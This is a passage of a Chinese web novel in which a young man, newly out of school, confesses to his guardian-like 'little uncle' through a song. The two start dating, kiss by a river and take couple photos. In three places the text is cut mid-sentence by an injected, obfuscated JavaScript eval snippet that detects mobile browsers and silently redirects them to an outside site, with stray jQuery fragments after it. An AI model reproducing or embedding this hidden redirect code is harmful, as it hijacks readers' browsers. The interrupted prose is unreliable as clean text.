时隔大半年,他仍旧每次看见姜洄都会忍不住心生雀跃,想时时刻刻见着他,想和他黏在一起,想他的视线一直停留在自己身上,想一刻也不和小叔叔分开…… 没有什么会比这些心里的想法更坦诚。 它们坦荡地剖白在赵熙面前,蒙动的心思赤裸裸地宣告着,他就是被这个人吸引住了,除了束手就擒,毫无办法。 小叔叔对他而言,是黑暗过往里唯一笼罩在他身上的光,他为赵熙的生活带来了最大的改变,甚至可以说赵熙的一切都是他赋予的。 他们的命运,从八年前就开始紧紧交织在一起。 没有血脉交融,但彼此之间的关系,却早已比血脉交融更加密不可分。 这世上,再也没有比他们更相配的人了。 姜洄瞥他一眼,动了动唇:“……我一直想问,你到底喜欢我什么?” 赵熙熟稔地帮他把拖鞋摆好,闻言抬头看他。 从下往上看,姜洄没什么表情的脸显得更清冷禁欲了,那双黑色的眸子颜色似乎也更深了,多看几眼,便仿佛要将人溺毙在里面。 他想了想,道:“小叔叔听过一首歌吗?” “哪首?” 赵熙:“你等一等。” 他起身,长腿大跨步几下就上了楼,在楼上的房间里不知干了些什么,没片刻又下来了。 手里拿着一把吉他。 姜洄知道这把吉他,赵熙当初给他唱第一首歌的时候,背景音里就有吉他伴奏音。 他平时给赵熙的零花钱不少,说是零花钱,其实数额比一般人家的生活费还多得多,但对方一直不怎么舍得用。 后来姜洄才知道,他从那些攒下来的钱里拿了一些出来,专门买了把吉他,因为听说这样录歌很酷。 不过在家里,大部分时候姜洄是没有兴趣专门听他唱歌的,所以赵熙也没拿出来过,姜洄只是偶尔听他提起。 所以这回是…… “小叔叔问的两个问题,我想用一首歌告诉你。” 姜洄被他按在了沙发上坐下,看见他往后退了一些,在阳台门口的小沙发墩上坐下来,清清嗓,抱着怀里的吉他,在这个盛夏的傍晚,弹出了第一个清凌凌的音节。 夕阳的红霞从院子里高大的树木和阳台的绿植上穿过,斑驳的片片光影落在他肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033613|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,为他眉眼铎上一层落日金辉。 随着吉他声响起,赵熙垂眼,启唇唱出了这首歌的歌词。 -我可以接受,接受你的所有小脾气。 -我可以带你去吃很多,很多好东西。 -我可以偶尔给你带来,带来小甜蜜。 -就像前几年那样,每天都会给你制造很多惊喜。 -你的心伤我能治愈。 -我的快乐也只有你能给予。 …… 许多年以后,姜洄也仍然会记得,他在这个盛夏知了蝉鸣不断的傍晚,吃了一顿丰盛的火锅。 然后在未散的烟火气里,在燥热的炎炎夏风里,听着眼前的少年人,为他弹奏了一曲,只献给他的情歌。 姜洄问他为什么喜欢自己,怕他以后会后悔学音乐。 而赵熙低沉却咬字清晰的嗓音和缱绻温柔的歌词,就是他对姜洄两个问题的答案: -可不可以和你在一起。 -我们之间有太多回忆。 -爱上了你没什么道理。 -只是刚好情窦初开遇到你。 -不希望我的未来不是你。 -只愿意和你永远不分离。 …… 当初这句歌词解决了他的疑问,如今他再拿出来,解决小叔叔的疑问。 看着姜洄的眼睛,赵熙一字一句,仍然是笑着的,他脸颊很热,耳畔绯红,却仍旧吐字清晰,直到歌曲收尾。 -可不可以和你在一起。 -趁我还没有过保质期。 -趁你还愿意。 姜洄听着歌词,听尾音消散在夕阳和飞舞的空气尘埃中,许久才回过神。 赵熙咳了一声:“歌词说的,就是我想说的。” 姜洄想到赵熙刚刚唱的最后一句话,似笑非笑:“……趁你还没过保质期?” “……” 赵熙道:“除了这句。” 他红着耳朵,轻声说了句什么。 姜洄没有听清,扬眉:“嗯?” 赵熙舔了舔唇,犹豫地放下了吉他,下意识大步走到他面前,又急刹车蹲下了。 他握住姜洄的手,脸颊到脖子根的地方红成一片,却还是顽强地把那句话说出来了:“我说……我的喜欢没有保质期。” “只要你想,它可以无限续期。” 姜洄于是沉默了很久,轻笑:“……嗯。” 他想,除了接管公司是赵熙未来注定的流程,赵熙的路,他不会再干涉。 他会有自己的选择和自己的人生。 赵熙眼前一亮,小心翼翼道:“小叔叔,这算答应了吗?” “嗯。”姜洄垂眼看他,踌躇着回握住他的手,“……试试吧。” 或许是因为这首歌的歌词太缱绻迷人,或许是赵熙眼里的光亮太夺目璀璨,又或许是这颗心沉寂太久没有活泛过几分……总之。 他想试试了。 姜洄的二十年,用来挣扎着从那个落日小巷挣脱出来,遍体鳞伤地长大。 然后又费尽力气把自己亲爹送进了监狱。 最后他花了五年的时间,去处理公司之间的纠纷,在好不容易摆脱吸血鬼一样的合同、逃离原本牢牢抓住他的一切魔爪后,终于获得了人生中最大的一项成就,那就是影帝的奖项。 这是他为自己定下的人生目标里,最后一项。 人在获得成就后一段时间会陷入欣喜若狂的状态,但一旦后续失去了目标,这种状态又会转变为茫然。 姜洄穿越以来几乎要风得风要雨得雨,因为从没想过留下来,所以他在有意将自己同这个世界剥离开来,他同这个世界唯一的联系就只有赵熙。 也因此,富贵的日子过得太久,闲暇娱乐又几乎没有,他差点就要忘了曾经是如何挣扎着一步步往上爬的了。 他现在就处于那种失去目标的茫然阶段。 要不是前面还有个“回去再体验一下在自己的世界获奖后的感觉”的胡萝卜吊着,早就甩手不干这个CEO了。 不得不说,其实小二绑定他真是选对了时候。 再往后挪一段时间,失去目标的姜洄都不一定乐意继续百无聊赖地活着,更遑论会做任务了。 而现在,他循规蹈矩日复一日的平静生活,要被打破了。 他想试试—— 试试把赵熙当作一个普通的成年男人,而并非“自己”来看待。 试试和赵熙在一起,会不会给这滩死水一样按部就班的生活带来什么不一样的东西。 试试……他会不会也因此,爱上过去的自己。 29. 牵手 赵熙下意识啪嗒一下把他的手握紧了。 “那,我们现在就算是恋爱了?” “……嗯。” “可以牵手。” “可以。” “可以……接吻?” “……嗯。但现在不行。”太快了。 “还可以……” “可以,别问了。”姜洄打断他,偏头闭眼。 赵熙扬起嘴角:“真的吗?不反悔?” 姜洄:“……你再攥紧点我就要反悔了。” 人年纪不大,手劲不小。 真是养得太好了。 赵熙于是如梦初醒一样,手上松了些力道,却仍旧没有立刻松开。 他甚至把另一只手搭了上去,紧紧握着姜洄的手,许久没说出话来。 半晌,在姜洄僵硬地问他打算什么时候松手时,赵熙低下头,将脑袋抵在他膝盖上,低声道:“再牵一会儿。” 他太高兴了,甚至一时不知道该说些什么。 想过小叔叔会考虑,没想到他会直接答应。 这不是天上掉馅饼是什么? 从这一晚起,赵熙又搬回了主卧。 进入高考后的暑假,他们的日常仍旧和从前相差无几,但又多了几分旁人说不清道不明的暧昧。 赵熙比从前对他更热情了,以前好歹还顾忌着彼此的身份收敛些,如今确认了恋爱的关系,是恨不得时时刻刻把目光黏在姜洄身上,什么事情都搬到主卧来做,就连听着姜洄教导他商业上的事情也能一心二用,边听边动不动就把玩姜老师的手。 被姜洄训斥了,他却还能头头是道地答上来姜洄说的内容,让姜洄想骂他玩物丧志都没理由。 姜洄也在努力让自己的身份从长辈的视角转换到平辈,毕竟从身体年龄来讲,他也比赵熙大不了几岁。 这个过程并不艰难,因为赵熙每天看着他那明晃晃的炙热视线实在太滚烫了,和所有他见过的注视“长辈”的眼神都不同,姜洄想忽略都难。 只是因为他始终和以前一样,习惯维持冷淡的表象,赵熙也就从没有要和他有进一步的意思,一直规规矩矩的。 他们接触的最大程度就是牵手,晚上睡觉最多也只是抱在一起,无事发生。 有时赵熙也会忍不住盯着他的唇出神,姜洄看在眼里,从未点破。 他还需要时间接受。 好像和以前没什么不一样。 姜洄对这种关系之间的转变从一开始的隐约不安,慢慢又变得平常放松起来。 —— 2029.6.8,天气晴。 真的和小叔叔在一起了。 很开心。^v^ …… 高考分数下来当天,赵熙的成绩不出所料被屏蔽了。 这天家里的座机电话被打了好几个,都是名校,赵熙也能预估到自己排名不差,更加安心。 他和姜洄确定过志愿,就是江城大学的音乐系,姜洄没有干涉,默认了。 这天晚上,他们班级有个毕业晚会,赵熙其实不是很想去,他更想在家里陪着小叔叔看电视,或是看书、一起处理工作文件……总之,做什么都好,但一定不是独自一个人奔赴一场根本不想去的聚会。 但姜洄却觉得他有些太粘人,硬是推着他去了。 这种毕业晚会既然邀请了赵熙,如果他不去就显得有些太不合群了,姜洄不想因为自己反而让他变得也像自己一样更孤僻。 赵熙去了一小时,就给姜洄发了无数条消息。 姜洄坐在书房处理白天没处理完的文件,听见消息嘀嘀嘀的响,忍了几分钟,没忍住还是拿出来看了。 【zhao:好热啊外面。】 【zhao:我到了。】 【zhao:到早了,人还没齐,早知道再在家坐一会儿了。QAQ】 【zhao:这家酒吧是不是我们家的?我在产业书上看到过。】 【zhao:[照片.jpg]】 【zhao:余书说隔壁是他家的产业,羡慕这家酒吧的流水。嘿嘿,那当然,也不看看这家酒吧老板是谁。】 【zhao:小叔叔来过这里吗?二楼的风景还不错,正面江城的护城长河。】 【zhao:啊,忘了小叔叔不爱喝酒。】 …… 【zhao:小叔叔。戳戳.jpg。】 【zhao:怎么不理我。】 姜洄看到这里,终于大发慈悲,动动手指回了一条。 【回:1。】 【zhao:QAQ。】 【回:在忙,你好好玩。】 赵熙乖巧地回了一句:好。 身后余书走过来:“一个人站这干嘛呢?” 赵熙眼疾手快将手机熄屏了,淡淡一笑:“看风景。” “这儿风景是不错。不过大家都在那边玩,你怎么一个人跑这边来了?” 余书随口说完,又喝了一口酒:“哎,毕业了就是好,喝酒都没人管……话说这是不是江城那条护城长河来着?” 赵熙道:“就是透透气……怎么了?” “这不是著名的情人河吗?”余书挤眉弄眼,下意识拍拍他肩膀,被赵熙用嫌弃的眼神扫了一眼,忙又收回来。 赵熙挑眉:“情人河?” “就是传说中,恋人一起走过就可以白头到老的那条情人河,我们都这么叫。”余书耸耸肩。 “你不知道也正常,谁让你上学的时候两耳不闻窗外事、一心只读圣贤书的。” 赵熙低头嗤笑:“真假。” 哪有一条河走过去就能白头到老,跟摩天轮传说一样假得可以,都是骗小情侣的。 余书:“就知道你不信,随便一说……对了,你那个……暗恋对象怎么样?都毕业了,不打算去追一追?” 赵熙静了静,勾了下唇角,矜持道:“追到了。” 余书点头:“哦,那正常……等下,你说什么?” 说不谈恋爱的那个,一毕业就第一个火速和暗恋对象在一起了,这合理吗? 余书咳了两声,还想旁敲侧击问问他暗恋对象到底是谁,奈何这小子嘴是真的严,一丁点口风都不透出来,无奈他转移话题:“分数出来了吧?你应该去哪个学校都没问题,想好去哪个大学了?” 赵熙:“江大。” “啊?”余书满脑袋问号,“虽然江大是也挺好的,但好不容易毕业了,你不选得离家远一点啊?被你小叔叔管上瘾了?” 赵熙又笑:“你不懂。” 余书确实不懂,他郁闷地端着酒杯怀疑人生去了。 赵熙站在原处,看着底下河边灯红酒绿,路灯白芒刺眼,有情侣手挽着手从河边缓缓踱步而过,他们进了街边的花店,三分钟后,一束花出现在女孩手里。 赵熙忽然也产生了一种冲动,很想给小叔叔买一束花。 也想和他一起手挽手走在路灯下、情人河边,信一回这飘渺无妄的传言。 他鬼使神差地又拿出手机。 【zhao:小叔叔,这边的河景挺好的,要不要来看看?】 “zhao”撤回了一条消息。 赵熙发出去就后悔了,小叔叔一直挺忙的,这么晚了,再过一个点就是小叔叔睡觉的点,应该也没空出来看风景,想想还是算了。 他犹豫了下,又发:看到一家花店,我听说什么花都有花语。小叔叔喜欢什么花? 三秒后,他收到特殊提示音的回复。 【回:白茶吧。】 赵熙没忍住又勾起了嘴角:白茶啊,我想想。 【zhao:白茶象征着理想爱情。】 【zhao:纯真无邪、清雅淡然……寓意真爱珍视和长久陪伴。】 这些是他在一本有关于“花”的书上了解到的,赵熙觉得自己了解得还算全面。 【zhao:或许,小叔叔想不想收到一束白茶花呢?】 另一边,姜洄其实看到了他撤回的那条消息。 他确实挺忙的,按照往常的习惯来讲,不该时不时看手机。 但一直嘀嘀嘀在响的手机突然安静下来,想到整个别墅里也只有他一个人,姜洄却又忍不住瞥向手机摆放的方向。 神思不属,半天还是把它拿了起来。 然后就看见了那句“要不要来看看”。 他回忆了一下,赵熙所说的这家酒吧旁边,那条护城河的距离离这别墅其实也不算远。 但还没回复,赵熙就撤回了。 姜洄思索两秒,就明白了为什么,应该是他说在忙,对方就不敢打扰他了。 在涉及工作方面,赵熙一向很懂事。 但关于“喜欢什么花”的问题,姜洄原本想说桔梗,但犹豫了一下,忽然想到了白茶。 和赵熙身上的味道似乎很像。 思绪回笼,他就已经打出了那个“白茶”,看着赵熙后续的回复,心中竟有几分触动。 想到这段时间赵熙的表现,其实他挺满意的,这个恋爱谈的好像也不错。 要不……去看看? 两秒后,他打字:你要送我的话,我可以勉为其难收下。 不过这个季节,有开了的白茶吗? 姜洄只是随口一说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033614|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在花里他没几样记得住的,桔梗是一种,因为常见,而白茶则名字好记又好看,算是他比较喜欢的一种。 但要是说真的特别喜欢,倒也不至于。 ……算了,要是没有店卖,赵熙总不至于还专门去采一束来。 看赵熙半天没有回复,姜洄想了想,又随口问:既然都有花语,那桔梗的花语是什么? 赵熙又隔了一会儿才回:永恒无悔的爱。 姜洄看着,片刻后,他起身披了件薄薄的外套,拿上车钥匙出门了。 这一套行动完全是凭着本能在做,一定要用一个词形容,那就是鬼使神差。 半小时后,姜洄站在酒吧门口的电线杆旁,被夏日燥热的晚风吹冷了思绪,觉得自己真的是被赵熙带跑偏了,头脑一热就出来了。 还不知道他有没有回去。 他低头给赵熙发消息。 【回:还在聚会吗?】 消息刚转着圈显示发送成功,姜洄便听见耳边传来一声微信置顶提示音。 赵熙的声音随之响起。 “……小叔叔?” 姜洄一顿,收起手机抬头看去。 头顶白茫茫的路灯下,赵熙一头的汗,一手拿着手机,一手捧着一束洁白如雪的山茶,愣愣地站在几步之外看着他。 姜洄直起身:“……你怎么在外面?” 他扫了眼赵熙手上的花束。 “真买了?” “小叔叔不是说要吗?” 赵熙磕巴了一下,道:“这边好几家花店都没有白茶的存货了,我就又沿着这边的河跑了几家,只有一家肯卖。” 因为这个时候山茶算是反季节的花,所以那家卖出来的价格也很高。 不过这不是重点,赵熙又不是没钱,不在乎这点事。 他在乎的是:“小叔叔怎么过来了?要不是我看到你的车了,还不知道你来了呢。” 姜洄边接过他递过来的花,边有点尴尬地咳了一声:“无聊,想出来散散心。” 不是刚刚还说在忙吗? 但赵熙看着他垂眼的神情,没挑破:“哦。” 小叔叔可能不知道,他心虚的时候视线就会看向一边,眼睫还会微微发颤,特别明显。 姜洄对此毫无所觉,转移话题:“你不是说想散步吗?我就顺路来找你问问,要不要一起走一会儿。” 赵熙立刻道:“当然要。” “那走吧。” 姜洄低头看看怀里的山茶,像他记忆里一样,洁白如雪,高贵清雅,有股淡淡的沁人心脾的香味。 赵熙觉得像他身上的味道,姜洄却觉得像他。 “你聚会结束了吗?” “他们还在玩,就我出来了。” “一个人走了不好吧?” “他们都在喝酒玩骰子,我也掺和不进去,就算了。” “其实……” 姜洄尾音微微拉长,消散在夜色中。 “怎么了?” “我不太喜欢花。”他有点别扭道,“你不用专门跑去买的。” “为什么?”赵熙愣了下。 “没什么什么为什么,虽然听起来很浪漫,但其实花只起到一个观赏作用,过段时间就会因为花期到了凋谢,甚至不如假花长久……而我一向不喜欢无用的东西。”姜洄顿了顿,感觉这段话似乎显得有些冷漠,但其实他本意没有嫌弃,只是单纯闲聊。 于是他又补充道:“不过你送都送了,我带回去养一养也行。” 赵熙若有所思:“这样。我明白了。” 要送有用的东西,小叔叔不喜欢浪漫这一套。 两人沿着河畔散步,有一搭没一搭地聊着,难得悠闲。 走了没几步,吹着清凉的河风,便不自觉越靠越近,手臂在走路时无意间擦过,温热的触感那样鲜明。 赵熙没忍住,小声问他:“可以牵手吗?” 周围没有人认识他们。 姜洄顿了顿,想到这,颔首道:“嗯。” 赵熙的开心便立即溢于言表,唇边笑意明显起来。 大概知道姜洄怕被人看见,他也没有做得太明显,身侧的手悄悄搭上姜洄的,从指缝温和地穿过去,和他十指相扣。 就像所有的在这条河边散步的情侣那样,是一个普通常见却又相当宣示主权的姿势。 但是,牵上了,然后呢? 他们牵着手,目光却突然不敢看向对方了。 脑袋各自岔开,一个看怀里的花,一个看旁边的河,氛围显得寂静又奇怪。 只有掌心的温度和经脉的跳动变得那样清晰可见。 30. 合照 姜洄突兀道:“想接吻吗?” 赵熙僵住了。 隔了两秒,他才豁然扭头看过来,眼睛里带了点呆滞和不可置信。 “怎么,怎么突然……” 姜洄便垂眼笑:“机会就这几秒,过时不候……” 话音未落。 赵熙忽然攥紧了牵住他的手。 他附身探过来,一手按在姜洄肩上,气息瞬间拉近。 姜洄又闻到了熟悉的清茶味,混合着怀里的山茶花一起,那样甘甜悠长。 但赵熙并没有立刻亲下来,他的唇克制地停在了一寸之外,和姜洄额头相抵,气息交缠。 他动了动唇瓣,舌尖探出舔了舔唇珠,眼眸里全是忐忑紧张:“……真的,可以吗?” 姜洄看着这张近在咫尺的、和自己一模一样的脸,一种难言的刺激让他心跳不断加快,目光浅浅扫过他的眉眼,然后落在他的唇上。 他喃喃:“你可以试试。” 他也想知道,自己究竟能不能接受对方的进一步亲密行为。 赵熙便听话地试了。 他低垂眸光吻下来,唇瓣和他的笨拙地碰撞住,然后贴在一起。 但一秒即分。 姜洄舔了下唇,眼前落下的阴影消失,赵熙又站直了。 他整个人像是块僵硬的木头,脸红得不行,四肢好像也不知道怎么摆放了。 其实姜洄也差不多。 但他觉得赵熙接吻跟小孩子过家家似的,有点……不够劲儿。 犹豫两秒,他脑子一抽,伸手拽住了赵熙要缩回去的手。 然后他抬起怀里的山茶花束,挡住了旁人可以看见的角度,微微抬了抬下巴,下一秒,和赵熙的双唇再次相撞。 他们的唇瓣都有些冰凉,且一样柔软。 他低声说:“西西同学,跑什么?” “允许你再亲一会儿。” 赵熙扣在他肩上的手不由自主地抓紧了几分,只停顿了两秒,便回过神来,迅速掌握了主动权。 和第一下那浅尝辄止的吻不一样,他很快无师自通般小狗一样伸出舌尖,舔舐着姜洄紧抿的唇缝,仿佛在试探他的底线,一下一下,带着几丝讨好和暧昧。 一只手落在了姜洄腰间,下意识将人往自己怀里带。 姜洄才拉开一点距离,又被他带了回去。 原本落在肩上的那只手也顺着姜洄的肩颈往上,落在对方的后脑处,穿插过他细且多的头发,将姜洄紧紧困在了这个吻里,一时难以挣开,手背的青筋一瞬间若隐若现。 湿润温暖的触感太过陌生,姜洄短暂失神了两秒,便难以克制地张开了唇齿的缝隙,赵熙立即见缝插针,灵活地将舌头塞了进来,开始在他口腔里横冲直撞,毫无章法。 姜洄闻见了他口中清淡的果茶味,因为按在脑袋上的那只手,他无法拒绝,所以这个吻也更久了一些。 姜洄眼尾带着几分难耐的红,隐约泛出了点泪光,没有拿着花的那只手下意识拽住了赵熙的衣摆,在这个逐渐加深的吻里攥得愈发得紧。 不远处路过几对情侣,男男女女,都默契地避开了他们,并相视一笑,带着友善的调侃意味。 气氛不断升温,在夏日的夜晚,密不可分的躯体间,不知是谁的心跳盖过了耳畔河岸的水声。 和凌乱的夜风一起,搅乱了姜洄脑海中仅剩的理智。 以至于他竟然徒生一种堪称荒诞的想法——像这样被人紧紧抱着拥吻的感觉,似乎还不错。 直到姜洄被他磕磕绊绊咬了好几口,实在忍不住了,睁开眼,给了他胸口一拳。 力道不重,锤到了赵熙因为一直维持锻炼而手感良好的胸大肌。 赵熙顿了顿,终于才肯停下来。 唇齿分开,拉出暧昧的银丝,赵熙舔了下唇,下意识喉结滚动了一下,好像把什么咽下去了。 他这回不止脸也是红的,耳朵也是红的,整张脸都是红的,像只刚出炉的螃蟹。 姜洄喘着气,心跳得飞快,瞪他一眼,低斥:“狗崽子。” 他摸了摸唇瓣,其实并不觉得有多痛,只是在心里懊恼自己的失态。 赵熙咳了一声,声色微哑:“抱歉……我不太有经验,小叔叔受伤了吗?” 他眉头皱起,伸手想用指腹去碰姜洄的唇,被姜洄不轻不重打开了:“没什么事……但是你怎么接个吻跟狗一样?” 赵熙眨眨眼,满脸歉疚委屈:“不是故意的……我下次一定努力不咬到小叔叔。” 姜洄咬了咬唇,感觉到微微的刺痛,从鼻腔里哼出一声气音:“下次再说吧。” 赵熙的视线飘过他眼尾的余红,也抬手摸了摸唇瓣,低声笑笑:“好。” 都听小叔叔的。 他三两步赶上去,又自然地牵住了姜洄的手。 姜洄停顿了一下,没有制止。 “小叔叔,知道我为什么突然喊你过来散步吗?” “为什么?” “因为听说,”赵熙拉长了调子,在姜洄挑眉的表情里又落了回来,“一起走过情人河的人,可以白头偕老。” 姜洄默了一瞬:“你信这个?” 赵熙又笑了。 “如果是和小叔叔,我觉得可以信一下。” 姜洄却并没有给出答案。 他眼里被那一个吻勾出来的几分欲念很快消散,炙热的情绪好像也因此再次被冰封起来。 但没等赵熙发现,他又垂下眼,习惯性将这些转变藏得干干净净。 很久他才“嗯”一声:“但愿如此。” 回去的路上,他们在酒吧门口遇到了刚出来的余书等人,在对方目光探过来的前一秒,姜洄最先注意到他们,下意识甩开手,又缓下步子,和赵熙拉开了几步的距离。 赵熙才抬头看去,那边余书就已经和几个同学告了别,带着一身酒气几步跑过来了:“欸?哥,你不是回去了吗?” 赵熙收敛起心头那几分失落,背过手,笑了下:“没呢,想起有东西没买,在附近逛了逛,碰到我小叔叔了。” 余书早就注意到他身边的姜洄了,只是对方手上还捧着一束明艳璀璨的山茶花,叫他不太敢认,这时候才好意思和他打了招呼。 姜洄淡淡点头,看着又变回了那副常见的冷清长辈模样,仿佛刚刚那个主动偏过头、和赵熙说“想不想接吻”的人不是他一样。 闻着空气里浓密的酒精味,他几不可察地皱了下眉,不动声色地退后了一些。 随即对赵熙道:“你们聊,我回车上等你。” 余书注视着他离开,终于放松下来,长舒一口气,打了个酒嗝:“你小叔叔怎么也在啊?而且还抱着一束花……” 他八卦道:“他不是说没有谈恋爱的想法吗?怎么,改变主意了?” 赵熙随口胡诌道:“路边有个小女孩卖花,卖不完送的。” 余书瞬间没劲道:“哦,那没事了。” “你还有事吗?没事我回去了。” 余书无所谓地摆摆手:“就是看到你了来和你打个招呼,行吧,回家吧,我家司机也来接我了。” 余书踩着醉鬼的步子东倒西歪好不容易进了车门,忽然关门的手一顿,心中冒出几分疑惑。 没记错的话,那好像是什么……山茶花? 是这个季节开的吗?还有街头小女孩在卖,他怎么没看见过? …… 姜洄把他送的白茶花放在了家里空着的花瓶里,想了想,又把花瓶搬到了客厅的茶几上。 虽然他不是个很喜欢花的人,但这是他人生中收到的第一份,不是粉丝的鲜花。 那就养着吧,也不费什么事。 又过了一段时间,赵熙收到了江大的录取通知书。 他拿着通知书给姜洄时,姜洄看着这似曾相识的一幕,晃了晃神,然后发现原本兴高采烈的赵熙突然不说话了,隐约有些担忧地看着他。 “小叔叔……不高兴吗?” 姜洄摇头:“挺好的。” 他想到什么,说:“给你买的升学礼物到了在房间里,去拿吧。” 赵熙眨眨眼,却没动:“真的没事?” 姜洄沉默两秒,避开了他的眼神。 赵熙伸手抱住他,将下巴搁在姜洄肩上:“不开心要和我讲,不然我会担心小叔叔的。” 良久,姜洄伸手抚了抚他的头发:“没有的事,只是习惯发呆而已。” 即便看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033615|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出他有所隐瞒,赵熙也毫无办法,他又抱着姜洄狗狗一样留恋地蹭了会儿,被姜洄无奈推开说要工作,才恋恋不舍地去房间拿礼物去了。 是一把今年的最新款、性能最优的定制款吉他。 姜洄不懂吉他,但他给赵熙送礼物,永远挑最贵最好的买,也不知道是弥补以前什么都买不起也没有收到过什么礼物的自己,还是弥补赵熙。 看得出来赵熙很高兴,因为他拿到礼物后立刻就拍照,唰唰发了个朋友圈。 大概因为这是姜洄恋爱后第一次送他礼物,看样子他恨不得昭告天下。 【zhao】:你怎么知道我小叔叔又送我礼物了,呲牙笑.jpg。[图片][图片] 【余】:……没人问你。 【韩汉三】:……没人问你。 【唐老师】:家和万事兴啊,大拇指.jpg 【韩叔】:大拇指.jpg 【白老板(合作伙伴版)】:赵总的眼光还是一如既往的好,有空让赵总出来一起吃个饭啊,大拇指.jpg。 …… 赵熙发完就把手机按灭了,没管下面的评论。 不能官宣,总可以拿朋友圈暗戳戳秀点,不然他得憋死。 他美滋滋把吉他收好,准备入学的时候就让自己三年的老伙计退休,换上小叔叔送的这把。 刚退出聊天软件,撇见自己平平无奇的桌面图片。突然灵光一闪。 于是姜洄还在书房工作时,收到了他的消息。 【zhao:小叔叔,你觉不觉得我们这个恋爱,还差点什么?】 姜洄摁亮屏幕扫一眼,心跳都漏了一拍。 【回:什么?】 【zhao:差一张合照。】 姜洄:…… 【回:不行,会被发现。】 他们不能公开关系,在没有决定留下来之前,姜洄也不想给原主留下这种隐患。 【zhao:我是说正常普通的那种合照,拿来当屏保用的,小叔叔你想哪里去了QAQ】 原来是这个。 【回:……怎么突然想要拍合照了?】 说起来,姜洄工作忙,这些年竟然也从没有正儿八经带赵熙去拍过什么照片。 以至于别墅里一张合照都没有,空荡荡的。 原主以前和家人的那些合照就不提了,都在其他宅子里,姜洄派人按时上门打扫清理,从没动过。 【zhao:人家情侣都有情侣头像情侣名,我不能换这些,换个屏保怎么了?】 姜洄竟然隐约从他这句话里,感觉到了几分委屈的控诉意味。 【zhao:求求你了小叔叔。】 【回:……好吧。】 也不是什么大事,一张合照而已,赵熙一向听他的话,也不会拿照片给别人乱传。 两天后,他们拿到了两人专门去照相馆照的三张合照。 他表情倒是正常,也带了些浅笑,但赵熙的重心却一直在往他身上靠,除了第一张老老实实的,后面两张照片眼神都一直往他身上瞥。 拍照的时候那摄影师都忍不住了,嘀咕说不知道的还以为是新婚夫夫来拍结婚照。 想到这,姜洄低头看了眼自己身上穿的衣裳。 和赵熙一样穿了件白衬衫,不是同款,但上镜的话差别不大。 虽然背景是蓝的不是红的,但乍一看去……竟然还真有那么点意思。 姜洄对拍这种合照兴致不大,毕竟照片上赵熙旁边的那张脸,根本不是属于他本人的脸。 原本后面两张摄影师说拍的不够好,问他们要不要毙掉,赵熙却制止了,让他传原片给自己。 鬼使神差的,姜洄也开了口,让他也传一份给自己。 那张唯一洗出来的合照洗了三张,他们一人一张,剩下一张放大尺寸,搭上了赵熙花高价买的精致简约相框,放在了主卧的床头。 姜洄没有多看,他把那张照片放进了自己的衣柜箱底,被赵熙这些年送他的那些礼物压在底下。 而赵熙,当天就把另外两站照片,一张屏保,一张换成了聊天背景。 左右那两张照片也就是正常的合照,姜洄睁一只眼闭一只眼,随他去了。 31. 雪糕 这个暑假,姜洄过得还算充裕。 第一次谈恋爱的赵熙同学一腔热情,准备了许多计划。 只要他有空,就常约姜洄出门看电影、吃饭、逛街……甚至去游乐园。 不过游乐园那个只去过一次,因为姜洄怕人太多被认出来,加上他们也并不怎么热衷于玩这种充满童真意味的项目,就没再去过了。 赵熙还很喜欢给姜洄拍照。 这是恋爱以后——准确来说,是拍完那张酷似结婚照的照片以后才挖掘出来的喜好。 恋爱一个月,他的相册里大半都是抓拍的姜洄的照片,有他们第一次一起去看电影牵手的,有去游乐园的时候姜洄低头吃雪糕的,还有他早上起床,打领带打不好起床气发作生自己的闷气、满脸郁闷的…… 后面那张被姜洄看到过,让他删了,他不,还仗着自己比姜洄各方面都长得更宽长些,伸长胳膊不让他抢手机,笑得眉眼弯弯。 姜洄和他闹了一会儿,反应过来有多幼稚,立刻坐直了,板起脸说:“这种照片有什么好看的?” 赵熙理直气壮:“小叔叔什么照片都好看。” 然后他又凑上去哄人:“好啦好啦,我私密的,不会让别人看到。” 他熟练地去蹭姜洄的颈窝撒娇,像只恃宠而骄的大型犬。 姜洄便拿他没办法了。 赵熙似乎很喜欢围绕着关于他的一切打转,以至于短短一个月,常被姜洄吐槽太过黏人。 但赵熙多了解他啊,要是不喜欢自己黏人,小叔叔早就骂人了。 还没骂就是喜欢他黏着。 于是他该怎么黏人还是怎么黏人,甚至黏得更加心安理得了。 和以前身为所谓“侄子”的时候不同是,以前他黏人只是喜欢跟着,目光黏着,没什么过分举动。 现在确定了恋爱关系,在姜洄默认的纵容下,他不知不觉就放肆了许多,动不动喜欢玩姜洄的手,没一会儿整个人都挂上去了,物理意义上的“黏人”。 